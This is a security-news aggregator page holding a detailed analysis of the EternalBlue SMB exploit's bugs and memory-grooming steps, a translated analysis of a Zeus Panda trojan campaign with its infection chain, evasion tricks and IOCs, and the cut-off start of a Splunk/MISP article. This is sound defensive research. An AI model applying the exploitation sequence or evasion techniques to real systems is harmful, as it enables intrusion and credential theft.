Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【漏洞分析】EternalBlue工具漏洞利用细节分析

$
0
0
【漏洞分析】EternalBlue工具漏洞利用细节分析

2017-11-06 17:18:36

阅读:2105次
点赞(0)
收藏
来源: 安全客





【漏洞分析】EternalBlue工具漏洞利用细节分析

作者:360天眼实验室





【漏洞分析】EternalBlue工具漏洞利用细节分析

前言

EternalBlue(永恒之蓝)据称是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的模块,由于其涉及漏洞的影响广泛性及利用稳定性,在被公开以后为破坏性巨大的勒索蠕虫WannaCry所用而名噪一时。360威胁情报中心对于WannaCry的活动持续地进行着监控,我们看到的趋势是WannaCry的感染量还在增加,说明作为蠕虫主要传播手段的EternalBlue相应的漏洞还大量存在着。但是,对于EternalBlue这个攻击利器本身的技术分析在公开渠道上看到的讨论其实并不充分,本文尝试通过一个较完全的分析梳理相关的细节,揭示其成因和相应的利用技巧。


测试环境

对于EternalBlue的分析是在一个相对简单的环境中进行的,执行攻击的系统为一个Win7机器,目标机器也是Win7 32位系统,没有安装EternalBlue相关的补丁,srv.sys文件的版本为6.1.7601.17514,srvnet.sys的版本为 6.1.7601.17514。本文中所有的调试器中代码截图都对应上述的版本,不同版本的文件在代码本身或偏移可能不同,但整体的执行逻辑应该差不多。


漏洞

根据我们的分析,EternalBlue达到其攻击目的事实上利用了3个独立的漏洞:第一个也就是CVE-2017-0144被用于引发越界内存写;第二个漏洞则用于绕过内存写的长度限制;第三个漏洞被用于攻击数据的内存布局。下面重点介绍一下前两个漏洞,第三个漏洞会在内存布局的过程中提到。

漏洞1

首先是EternalBlue工具中使用到的主体漏洞,该漏洞也是Eternalblue的核心部分,编号为CVE-2017-0144。漏洞通过SMB协议的SMB_COM_TRANSACTION2命令触发,该命令说明如下所示:


【漏洞分析】EternalBlue工具漏洞利用细节分析

当该数据包中包含对应的FEA LIST时,SMB服务中会将FEA LIST转换为对应的NTFEA LIST,其对应的数据结构并不公开,如下所示为趋势团队分析出的对应的FEALIST结构。


【漏洞分析】EternalBlue工具漏洞利用细节分析

入口处理函数为SrvSmbOpen2,其中漏洞出现在函数SrvOs2FeaListToNt中:


【漏洞分析】EternalBlue工具漏洞利用细节分析

如下所示为对应的漏洞函数SrvOs2FeaListToNt,用于实现FEA LIST转换为对应的NTFEA LIST,函数调用SrvOs2FeaListSizeToNt计算FEALIST的长度,但是该函数存在漏洞导致在特定的情况下,攻击者可以伪造超长的size,从而导致在之后的SrvOs2FeaToNt转换中导致pool溢出。


【漏洞分析】EternalBlue工具漏洞利用细节分析

进入导致漏洞的SrvOs2FeaListSizeToNt函数,该函数会计算对应的FEA LIST的长度并随后对长度进行更新,该长度一开始为DWORD类型的,之后的长度更新代码中计算出的size拷贝回去的时候是按WORD进行的拷贝,此时只要原变量a中的初始值大于FFFF,即为10000+,该函数的计算结果就会增大。


【漏洞分析】EternalBlue工具漏洞利用细节分析

该赋值中如下所示esi变成了si,此时如果eax高位中的数据不为零,则将返回的超长的size。


【漏洞分析】EternalBlue工具漏洞利用细节分析

如下图所示为对应发送的该数据包,可以看到该请求数据包的长度为103d0,其中对应的FEALIST的长度为10000。


【漏洞分析】EternalBlue工具漏洞利用细节分析

如下图所示,eax为链表的开头,其指向了FEA LIST的总长度,即10000,esi为遍历之后的链表尾部,eax-esi=ff5d,为实际对应的长度,但是更新长度的mov指令中esi变成了si,由于eax中的值为10000,原本应该被赋值为ff5d的eax,变成了1ff5d。


【漏洞分析】EternalBlue工具漏洞利用细节分析

之后在紧接着的函数SrvOsFeaToNt中,由于使用了错误的长度进行memmove从而导致溢出。


【漏洞分析】EternalBlue工具漏洞利用细节分析

下图为其中的复制导致越界写,长度为a8,可以看到正常请求应该是在86535000这个srv.sys对象SMB buffer中,由于长度过长导致对srvnet.sys分配的buffer越界写。


【漏洞分析】EternalBlue工具漏洞利用细节分析

Enternalblue中通过内存布局,将srvnet对象buffer稳定的分配到srv拷贝对象buffer之后,如下图所示为越界写时的内存情况。


【漏洞分析】EternalBlue工具漏洞利用细节分析

Srvnet 对象buffer中包含两个重要的域:

1.一个指向指定结构(srvnet_recv)的指针(即上图中的8834e4c0,被ffdff020覆盖),该指针将会在smb(srnet)连接结束或断开时被用于寻址函数地址。

2.一个用于接收缓冲区的MDL(即上图中的86546160,被ffdfef80覆盖)

因此覆盖并控制MDL将导致之后的tcp 栈实现任意写入伪造对象的操作,覆盖并控制该指针可用于将其指向一个攻击者控制的伪造对象,此时断开smb(srvnet)连接即可导致代码执行。

如下图所示,MDL复写为ffdfef80后,紧接着Eternalblue发送的shellcode就会被写入到ffdfef80+0x80的位置,即ffdff000。


【漏洞分析】EternalBlue工具漏洞利用细节分析

可以看到此时的调用栈:


【漏洞分析】EternalBlue工具漏洞利用细节分析

写入的地址ffdff000是系统预留的用于保存系统信息的地址,并且可执行。


【漏洞分析】EternalBlue工具漏洞利用细节分析

被写入到ffdff000地址的是一个srvnet_recv的结构(该结构不公开)和紧随其后的shellcode,该结构用于smb(srnet)结束或断开连接的时候通过SrvNetWskReceiveComplete调用SrvNetCommonReceiveHandler 。SrvNetCommonReceiveHandler 根据srv_recv中的指针此处为下图中的poi(ffdff190(ffdff020(被覆盖的对应指针)+0x16c)+4)获取到对应的函数并调用,地址即我们伪造的shellcode的地址(ffdff1f1)。


【漏洞分析】EternalBlue工具漏洞利用细节分析

漏洞2

如上述漏洞所示可以导致一次越界写,但其前提是FEA LIST的长度必须大于10000,通过分析可以发现FEA LIST只存在于SMB_COM_TRANSACTION2命令的子命令中,而该命令的数据结构如下:


【漏洞分析】EternalBlue工具漏洞利用细节分析

TotalDataCount(数据包总长度)是USHOER类型的,即最大值只能为FFFF,那在这个地方EternalBlue是如何发送的长度大于FFFF的SMB_COM_TRANSACTION2子命令请求的呢?

通过抓包可以发现此处发送的并不是SMB_COM_TRANSACTION2子命令的请求包,而是SMB_COM_NT_TRANSACT子命令的请求包:


【漏洞分析】EternalBlue工具漏洞利用细节分析

如下图所示SMB_COM_NT_TRANSACT子命令中TotalDataCount的类型为ULONG,支持发送大于FFFF长度的数据包。


【漏洞分析】EternalBlue工具漏洞利用细节分析

但是SMB_COM_NT_TRANSACT本身是不支持FEA LIST的,这里就涉及到EternalBlue中使用到的第二个漏洞。

SMB的子命令中存在一个名为TRANSACTION系列的命令:

SMB_COM_TRANSACTION: 用于和邮槽、命名管道进行通信

SMB_COM_TRANSACTION2: 用于打开或创建一个共享文件或文件夹,设置它们的扩展属性

SMB_COM_NT_TRANSACT: 用于打开或创建一个文件或文件夹,并应用扩展属性EA或安全描述符SD

其中产生漏洞的即为对应的SMB_COM_TRANSACTION2命令。

对于TRANSACTION系列的命令如果发送的长度过大,SMB会将该请求包拆分成**Second的形式进行发送,如下所示为其相应的**Second系列的命令:

SMB_COM_TRANSACTION

SMB_COM_TRANSACTION_SECONDARY

SMB_COM_TRANSACTION2

SMB_COM_TRANSACTION2_SECONDARY

SMB_COM_NT_TRANSACT

SMB_COM_NT_TRANSACT_SECONDARY

服务端根据SMB请求头部的TIP,PID,UID,MID确定哪一个**Second属于对应的transtion,而服务端根据最后一个**Second确定对应的transtion类型,即如果最后一个**Second为SMB_COM_TRANSACTION2_SECONDARY,就按SMB_COM_TRANSACTION2来处理。


【漏洞分析】EternalBlue工具漏洞利用细节分析

如下图为处理对应**Second的逻辑,对于一个transaction,如果没有发送完,后续会跟上对应的**Second数据包,服务端不会检查对应的**Second类型,只要保证其TIP,PID,UID,MID匹配,服务端就会将这些数据重新组装还原成一个transaction,而类型由最后一个**Second决定。


【漏洞分析】EternalBlue工具漏洞利用细节分析

因此,为了发送一个长度为0x10000的SMB_COM_TRANSACTION2,首先发送一个长度为103d0(FEA LIST:1000)SMB_COM_NT_TRANSACT,之后发送一系列SMB_COM_TRANSACTION2_SECONDARY数据包,只要保证TIP,PID,UID,MID一致,服务端最后就会将其当做一个SMB_COM_TRANSACTION2来处理,而此时其长度103d0。

由于SMB会等待最后一个**SECOND数据包到来才生成最后的transaction,因此EternalBlue可以在此期间发包对目标设备的内存进行部署,之后再发送最后一个数据包从而触发漏洞越界写。


内存布局的构建

如上述分析,利用漏洞会触发溢出导致越界写,而EternalBlue中对于该漏洞的利用思路和大多数的pool越界写是一致的:

1.在内存中spray一系列srvnet的对象buffer

2.释放掉其中的空间,以便于srv的对象buffer进行占位

3.srv对象buffer占位

4.发包越界写srvnet的对象buffer

5.触发代码执行

srvnet对象spray

但是这里和一般的内核漏洞的利用存在一个很大的区别,就是我们的环境是远程的。通常的本地内核漏洞利用的时候我们可以从容地选择进行spray的内核对象,但是对于远程的环境而言,内核对象的选择及对应的控制就要小很多。

EternalBlue中用于被覆盖的对象为srvnet buffer,其中的对象包含两个重要的结构:

1.一个指向指定结构的指针,通过覆盖它可以将其指向一个伪造的结构,从而实现后续的代码执行。

2.一个接受MDL的缓冲区,通过覆盖它可以保证将后续发送的伪造结构及shellcode写到指定的区域。

微软提供了SMB 2直接支持TCP的通信方式,可以通过该方式来创建srvnet缓冲区。


【漏洞分析】EternalBlue工具漏洞利用细节分析

如下图所示srvnet对象的spray过程,生成的大小依赖于前四字节。


【漏洞分析】EternalBlue工具漏洞利用细节分析

srv对象spray

srv对象是通过释放后重申请的方式获取的地址空间,但是SMB中如何通过远程方式稳定的申请并释放一段pool内存了?这就涉及到EternalBlue中使用的第3个漏洞。

该漏洞出现在SMB_COM_SESSION_SETUP_ANDX命令中:

该命令的请求依赖于WordCount的值来确定具体的请求格式,当为12时格式如下图所示,当为13时红框中的变量会有所区别。


【漏洞分析】EternalBlue工具漏洞利用细节分析

直接借用网上逆向简化后的一段代码,如下所示:如果发送的代码中WordConut为12,包含CAP_EXTENDED_SECURITY字段,但却没有FLAGS2_EXTENDED_SECURITY字段,将会导致服务器将以处理13类型请求的方式去处理类型12的请求包,从而进入错误的函数GetNtSecurityParameters流程中。


【漏洞分析】EternalBlue工具漏洞利用细节分析

GetNtSecurityParameters会检查对应的请求中的参数,函数参数中的v70为通过wordcount和Bytecount计算出来的一个size。


【漏洞分析】EternalBlue工具漏洞利用细节分析

GetNtSecurityParameters函数中的计算如下所示:


【漏洞分析】EternalBlue工具漏洞利用细节分析

该参数返回后作为SrvAllocateNonPagedPool的参数分配一段pool。


【漏洞分析】EternalBlue工具漏洞利用细节分析

因此利用该漏洞将12类型的请求包通过13类型进行处理,由于两种类型的请求包格式不一致,通过控制请求包指定偏移的数据,即可以控制SrvAllocateNonPagedPool创建的pool的大小,可以使用以下的断点监控该过程:

bpGetNtSecurityParameters+0x1AC".printf\"GetNtSecurityParameters1\\n\";r;.echo;?cx-si+bx+1d;g;" bpSrvAllocateNonPagedPool+0x10".printf\"SrvAllocateNonPagedPoolNonPageSize:%p\\n\",ecx;g;" bpSrvAllocateNonPagedPool+0x15C".printf\"SrvAllocateNonPagedPoolallocNopage:%p\\n\",eax;g;" bpBlockingSessionSetupAndX+0x7C0".printf\"BlockingSessionSetupAndXdouble\\n\";g;"

如下图所示即为通过断点监控到的非法size生成的过程,通过构造畸形数据包,包含数据87f8,漏洞触发后识别出该错误的偏移,计算最后会分配一段大小为10fec大小的pool。


【漏洞分析】EternalBlue工具漏洞利用细节分析

通过断开对应的该命令请求,可以导致之前分配的10fec大小的pool被释放,从而在地址空间中生成一个hole,该hole之后会被srv对象buffer来填充。

现在知道了如何在内存中稳定的spray一段连续的srvnet的对象buffer,以及如何开辟并释放一段指定大小的空间,内存布局的基本条件已经具备,可以看到具体的布局流程到最后的触发执行过程如下:

1.通过SMB_COM_NT_TRANSACT发送一段FEA LIST长度满足0x10000的数据包

2.发送后续的SMB_COM_TRANSACTION2_SECONDARY,这将导致smb服务将SMB_COM_NT_TRANSACT当做SMB_COM_TRANSACTION2处理,但是最后一个SMB_COM_TRANSACTION2_SECONDARY留置最后。

3.通过smb 2协议进行srvnet对象的spray

4.通过SMB_COM_SESSION_SETUP_ANDX漏洞在srvnet对象之后分配一段大小和srv对象大小几乎一致的pool内存

5.通过smb 2协议继续进行srvnet对象的spray,以确保srvnet位于srv对象之后

6.断开连接导致第4步开辟的pool内存释放,生成一个hole

7.发送最后一个SMB_COM_TRANSACTION2_SECONDARY,由于大小一致,该数据包会填补生成的hole,并触发漏洞导致之后的srvnet对象buffer中的MDL和指针被修改,此时后续发送的数据将拷贝到ffdff000的位置。

8.断开所有连接,触发srvnet_recv指向的shellcode执行

可以通过以下断点监控利用时内存的释放和分配(主要是srv,srvnet对象):

bpSrvAllocateNonPagedPool+0x10".printf\"SrvAllocateNonPagedPoolNonPageSize:%p\\n\",ecx;g;" bpSrvAllocateNonPagedPool+0x15C".printf\"SrvAllocateNonPagedPoolallocNopage:%p\\n\",eax;g;" bpSrvFreeNonPagedPool+0x3".printf\"SrvFreeNonPagedPoolfreeNopage:%p\\n\",eax;g;" bpBlockingSessionSetupAndX".printf\"BlockingSessionSetupAndX\\n\";g;" bpSrvNetAllocateNonPagedBufferInternal".printf\"AllocateNonPagedNonPagedBufferSize:%p\\n\",poi(esp+8);g;" bpSrvNetAllocateNonPagedBufferInternal+0x179".printf\"AllocateNonPagedNonPagedBufferAddress:%p\\n\",eax;g;" bpSrvNetFreeNonPagedBufferInternal".printf\"SrvNetFreeNonPagedBufferInternalfreeNonPageBufferAddress:%p\\n\",poi(esp+4);g;" bae1srvnet!SrvNetWskReceiveComplete+0x13".if(poi(esi+0x24)==ffdff020){}.else{gc}"

如下图所示即为整体监控到的数据包于内存中的布局情况,其中867bb000处为对应的srv buffer对象,之后867cc000上的srvnet buffer对象将会被覆盖如下所示:


【漏洞分析】EternalBlue工具漏洞利用细节分析

以上为EternalBlue利用过程中内存布局及对应发送数据包的一个概述,但是其内部其实还有一些细节可供深入挖掘。由于作者水平有限,有什么错误欢迎大家指正。


参考资料

http://bobao.360.cn/learning/detail/3738.html

https://github.com/worawit/MS17-010

http://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/



【漏洞分析】EternalBlue工具漏洞利用细节分析
【漏洞分析】EternalBlue工具漏洞利用细节分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4665.html

【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

$
0
0
【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

2017-11-07 10:04:21

阅读:701次
点赞(0)
收藏
来源: talosintelligence.com





【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

作者:eridanus96





【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

译者:eridanus96

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


通过搜索引擎结果攻击

目前,人们都会使用谷歌等搜索引擎,来查找自己不知道的信息。通过搜索,我们能迅速找到所需要的内容。然而,谷歌搜索所返回的链接,并不能保证是一定安全的。正因如此,攻击者借助于搜索引擎优化(SEO),使他们的恶意链接在搜索结果中更多地出现,从而让他们的目标用户群体感染宙斯熊猫银行木马(the Zeus Panda banking Trojan)。使特定银行相关关键词的搜索结果发生变动,是一种独特的攻击方式,可以有效地针对特定用户实现攻击,就像是在井里投毒。

攻击者主要对财务相关的关键字进行搜索,确保搜索结果能显示恶意链接,以最大限度地提高其病毒感染的转化率。因为他们确定,受感染的用户将会定期使用各类金融平台,攻击者就可以快速地获取到用户凭据、银行卡信息和信用卡信息等内容。

通过对用于传播这一病毒的基础结构进行分析,我们发现其整体配置和操作过程非常特殊,其不依赖于常见的恶意软件扩散方式。攻击者不会一味沿用已有的技术,而是会定期改进。由此也可以说明,及时更新威胁情报,对于确保组织能随时抵御新的威胁,是至关重要的。


初始攻击向量

电子邮件并不是这一病毒最初的传染源。攻击者针对的是特定的搜索关键词集合,这些关键词可能会被潜在目标使用Google等搜索引擎查询到。通过利用存在漏洞的Web服务器,攻击者能确保他们的恶意结果在搜索引擎中得到较高排名,从而增加了潜在受害者点击的可能性。

举例来说,攻击者似乎以下列关键词作为目标:


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

在大多数情况下,攻击者能够在搜索引擎结果页面(SERP)的首页上显示多条带有病毒的结果,以便将其作为目标。在这个例子中,关键词为“Rajhi银行在斋月的工作时间”,下面是Google搜索返回的内容:


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

通过对已有评级的商业网站进行攻击,攻击者可以使搜索结果看起来更安全,比如在SERP中的结果中显示5星和100%的评级。

攻击者针对的是大量关键词组合,其中大多数是针对潜在受害者可能搜索的银行或金融相关信息而量身定做的。并且,也会集中对某个地理区域发动攻击,该病毒会以印度和中东的金融机构为主要目标。其他的一些关键字还例如:


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

此外,所有恶意页面的标题都有附加的短语。使用“intitle:”搜索参数,我们就能够主动识别出数以百计的恶意页面,这些恶意页面会引导用户下载病毒。下面列出了这些附加短语的一些示例:


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

如果用户试图浏览这些受攻击的服务器上的网页,将会开始多级的恶意软件感染过程,我们接下来将详细分析。

比较讽刺的是,在研究过程中我们还发现,存在相同的重定向系统及相关基础设施,用来指导受感染的用户联系假冒的技术支持。通过显示图像,通知用户系统感染了宙斯病毒,并指导他们联系指定电话号码。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

感染过程分析

当受害者访问恶意网页时,该网站使用javascript将客户端重定向到中间站点上托管的Javascript。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

这将导致客户端检索和执行位于被document.write()方法所指定地址的Javascript。随后的页面包含类似的功能,是将一个HTTP GET请求转向到另一个页面。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

随后,中间服务器将返回HTTP 302对客户端进行相应,将客户端重定向到另一个被攻击的站点,这个站点实际上是用来保存恶意Word文档的。因此,客户端会通过这次重定向,下载恶意文档。这是一种通常被称为“302缓冲”的技术,在开发工具包中广泛使用。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

按照重定向结果,下载恶意Microsoft Word文档。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

下载恶意的Word文档后,受害者的浏览器会询问“打开或保存该文件”。如果选择打开文件,打开后文档将显示以下消息,提示受害者“启用编辑模式”并点击“启用内容”。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

一旦选择了“启用内容”,就会执行Word文档中嵌入的恶意宏。正是这些宏,负责下载和执行PE32的可执行文件,从而感染了系统。宏代码本身不具有危害性,而且十分简单,它只是负责下载恶意可执行文件,将其保存到系统的%TEMP%目录中,并且使用类似于“obodok.exe”的文件名。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

在这个样本中,恶意可执行文件位于以下URL中:

hXXp://settleware[.]com/blog/wp-content/themes/inove/templates/html/krang.wwt

这些宏使用以下 Powershell 命令启动此过程:


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

根据对病毒所在恶意域名DNS相关信息的查看,我们发现在2017年6月7日至8日期间,试图解析域名的DNS请求数量有两个明显的峰值。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

Settleware Secure Services, Inc.是一个文档电子签名服务, 允许以电子方式签署文档。它可以跨多个不同的过程使用,包括不动产代管电子签名,此外也提供eNotary服务。


木马原理分析

与该感染模式相关的病毒,是一个新版本的宙斯熊猫银行木马,该木马用于窃取银行及其他敏感凭据。

我们认为,其有效载荷是分为多阶段的。初始阶段的有效载荷,具有反分析技术,可以有效逃避检测。除此之外,它还具有几个规避技术,用于确保恶意软件在自动化分析环境及沙盒中不会正常执行。我们特别关注该木马的伪装手段。

木马将首先查询系统的键盘映射, 以确定系统上使用的语言。如果检测到下列任何键盘映射, 它将终止执行:

LANG_RUSSIAN

LANG_BELARUSIAN

LANG_KAZAK

LANG_UKRAINIAN

木马还执行检查,以确定它是否在以下管理程序或沙盒环境中运行:

VMware

VirtualPC

VirtualBox

Parallels

Sandboxie

Wine

SoftIce

它还检查了安全人员在分析恶意软件时经常运行的各种工具和实用程序是否存在,其完整列表如下:


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

如果满足上述的任何一条,该木马首先会将一个自我删除的批处理文件写入%TEMP%目录,并使用windows命令提示符执行该操作。木马使用RDTSC,基于时间产生用于存储批处理文件的文件名。这个批处理文件负责删除原始样本。一旦完成原始样本的删除工作,它就会从%TEMP%中删除其自身。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

为阻止分析,其在初始阶段将使用无效参数,去调用数以百计的有效API。它还会利用结构化异常处理(SEH)来修补其自身的代码。它会多次查询和存储当前指针位置,以检测活动,并确定自身是否在沙盒或自动分析环境下执行。下面是使用无效参数的有效API调用的示例,其中获取指针位置的调用是有效的,而对ScreentoClient的调用则包含无效参数。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

下面是一个虚假调用的例子,用来迷惑分析人员,增加分析该木马所需的时间和精力。我们经常看到用来迷惑反汇编器的无效操作,但在这里,由于它位于上百个结构之前,使得更难去识别有效的变量。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

下面的截图展示了通过IDA自动填充和无用结构的列表。这些措施都是为了加大分析的难度,让分析人员无法从代码执行流的角度,分析出其真正意图。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

每隔一段,我们能找到一个有效的和有用的操作。下面的EAX寄存器存储在一个变量中,以便之后再次使用,用来分配堆内存块,并启动它自己的解压缩代码。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

该木马还是用了其它技术,使分析变得更加困难,比如创建了上百个条件比较,这使得跟踪代码更加困难。在下面的例子中,几个if条件语句的伪代码演示了这一过程,并说明了它是如何阻碍对代码的跟踪。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

为了解密恶意代码,它安装了一个异常处理程序,负责解密一些内存字节,以继续执行。

下面是SEH刚刚被初始化:


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

在同一个例程中,它会执行以下代码的解密例程。我们还发现,大量的异常调用会导致一些沙盒崩溃,这也是防止自动化分析的一种手段。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

一旦将数据解密并存储到以前分配的缓冲区中,它将使用已知机制(EnumDisplayMonitor的回调例程功能)在winmain中继续执行,方法是将回调例程的值设置为修复的内存。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

在此执行过程中,恶意软件将继续修补自身并继续执行。

字符串使用XOR值进行加密,但是每个字符串都使用单独的XOR值来防止简单的检测机制。下面是一些可以用来解密字符串的IDA python代码。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

这段代码对应IDA字符串的解密及引用,0x1250EBD2对应解密例程,0x1251A560对应加密的字符串表。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

通过下面这些注释,我们可以理解该木马中的不同功能。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

对于API调用,它使用如下算法。这段代码可以在IDA中使用,以便对API调用进行注释。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

该木马使用的通用函数,涉及以下参数:

与模块对应的 DWORD 值;

对应于模块的加密字符串表的索引项(如果未加载);

API本身的哈希值;

用于存储API调用地址的索引。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

下面是一个伪代码示例,它展示了如何执行API调用。仅仅是使用快照列表,查找内存中的进程。


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析

一旦木马开始完全执行,它就会将一个可执行文件复制到以下位置:

C:\Users\<Username>\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\

它还会通过创建以下注册表项来保证持久性:

HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Run\extensions.exe

它将此注册表项的数据值设置为由木马创建的路径/文件名。下面是数据值的一个示例:

"C:\Users\<Username>\AppData\Roaming\Macromedia\FlashPlayer\macromedia.com\support\flashplayer\sys\extensions.exe"s\\0

在特殊情况下,创建的文件被命名为“extensions.exe”,但是我们已经发现其还会使用其他几个不同的文件名。

针对宙斯熊猫银行木马,如果日后有其他分析,将会在这里补充发布:

https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf


总结

攻击者不断尝试寻找新的方法来引诱用户运行病毒,这些病毒则可以感染受害者的计算机。通常来说,病毒邮件、诱骗点击和水坑攻击是较为常见的攻击方式。然而这一次,我们发现了另一个完整的攻击框架,通过“SERP投毒”使用户误点击特定网站,并感染宙斯木马。在这种情况下,攻击者必须确保其恶意链接在搜索引擎中排名较为靠上。

随着威胁的格局不断演变,攻击者不断在寻找新的攻击媒介。因此,如果具备一个健全的、分层的纵深防御策略,将有助于确保组织能够响应不断变化的威胁环境。需要提醒用户的是,必须时刻保持警惕,在点击链接前三思而行,不能对邮件附件或是搜索引擎的搜索结果产生盲目信任。


病毒相关域名、IP及样本Hash

恶意文档域名:
mikemuder[.]com

恶意文档IP:

67.195.61[.]46

相关恶意域名:

acountaxrioja[.]es alpha[.]gtpo-cms[.]co[.]uk arte-corp[.]jp bellasweetboutique[.]com billing[.]logohelp[.]com birsan[.]com[.]tr bitumast[.]com bleed101[.]com blindspotgallery[.]co[.]uk blog[.]mitrampolin[.]com calthacompany[.]com cannonvalley[.]co[.]za coinsdealer[.]pl corvettescruisingalveston[.]com craigchristian[.]com dentopia[.]com[.]tr dgbeauty[.]net dressfortheday[.]com evoluzionhealth[.]com gemasach[.]com japan-recruit[.]net jaegar[.]jp
michaelleeclayton[.]com www[.]academiaarena[.]com www[.]bethyen[.]com www[.]bioinbox[.]ro www[.]distinctivecarpet.com www[.]helgaleitner[.]at www[.]gullsmedofstad[.]no usedtextilemachinerylive[.]com garagecodes[.]com astrodestino[.]com[.]br

中间重定向域名:

dverioptomtut[.]ru

Word文档文件名:

nordea-sweden-bank-account-number.doc

al-rajhi-bank-working-hours-during-ramadan.doc

how-many-digits-in-karur-vysya-bank-account-number.doc

free-online-books-for-bank-clerk-exam.doc

how-to-cancel-a-cheque-commonwealth-bank.doc

salary-slip-format-in-excel-with-formula-free-download.doc

bank-of-baroda-account-balance-check.doc

bank-guarantee-format-mt760.doc

incoming-wire-transfer-td-bank.doc

free-online-books-for-bank-clerk-exam.doc

sbi-bank-recurring-deposit-form.doc

Word文档Hash值:

713190f0433ae9180aea272957d80b2b408ef479d2d022f0c561297dafcfaec2 (SHA256)

PE32URL:

settleware[.]com/blog/wp-content/themes/inove/templates/html/krang.wwt

PE32Hash值:

59b11483cb6ac4ea298d9caecf54c4168ef637f2f3d8c893941c8bea77c67868 (SHA256)

5f4c8191caea525a6fe2dddce21e24157f8c131f0ec310995098701f24fa6867 (SHA256)

29f1b6b996f13455d77b4657499daee2f70058dc29e18fa4832ad8401865301a (SHA256)

0b4d6e2f00880a9e0235535bdda7220ca638190b06edd6b2b1cba05eb3ac6a92 (SHA256)

C2域名:

hppavag0ab9raaz[.]club havagab9raaz[.]club

C2 IP:

82.146.59[.]228


【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析
【技术分享】借助谷歌搜索传播:对宙斯熊猫银行木马新变种的技术分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html

【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

$
0
0
【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

2017-11-07 11:09:48

阅读:1084次
点赞(0)
收藏
来源: rootshell.be





【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

作者:WisFree





【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

译者:WisFree

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


写在前面的话

如果你每天都在使用同一款工具,那么你不仅会对这款工具越来越了解,而且你有可能还会有一堆的想法来改进这款工具。


Splunk的常规模式

由于我个人的工作原因,我几乎每天都会在各种不同的客户环境以及研究场景下使用Splunk,如果你手上有一个大型的事件数据库,那你肯定会需要一种高效率的技术来帮助你从如此大量的数据中提取出你所需要的有效信息。一般来说,最常用的一种实现方法就是将IoC(入侵威胁指标)提交给Splunk(例如IP地址、域名和哈希等等),然后设置计划搜索或进行实时搜索。常见的操作模式如下图所示:


【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

在上图中,Input(输入)可以是日志记录、OSINT资源或者是第三方工具的输出数据,而Output(输出)即为我们所需要的有价值数据。这里我推荐大家使用MISP平台,因为我们可以通过平台所提供的API定期提取出有价值的IoC(入侵威胁指标)数据,并将这些数据注入到Splunk中以备后续的搜索查询和研究报告。

#wget--header'Authorization:xxxxx'\ --no-check-certificate\ -O/tmp/domain.txt\ https://misp/attributes/text/download/domain/false/false/false/false/false/7d

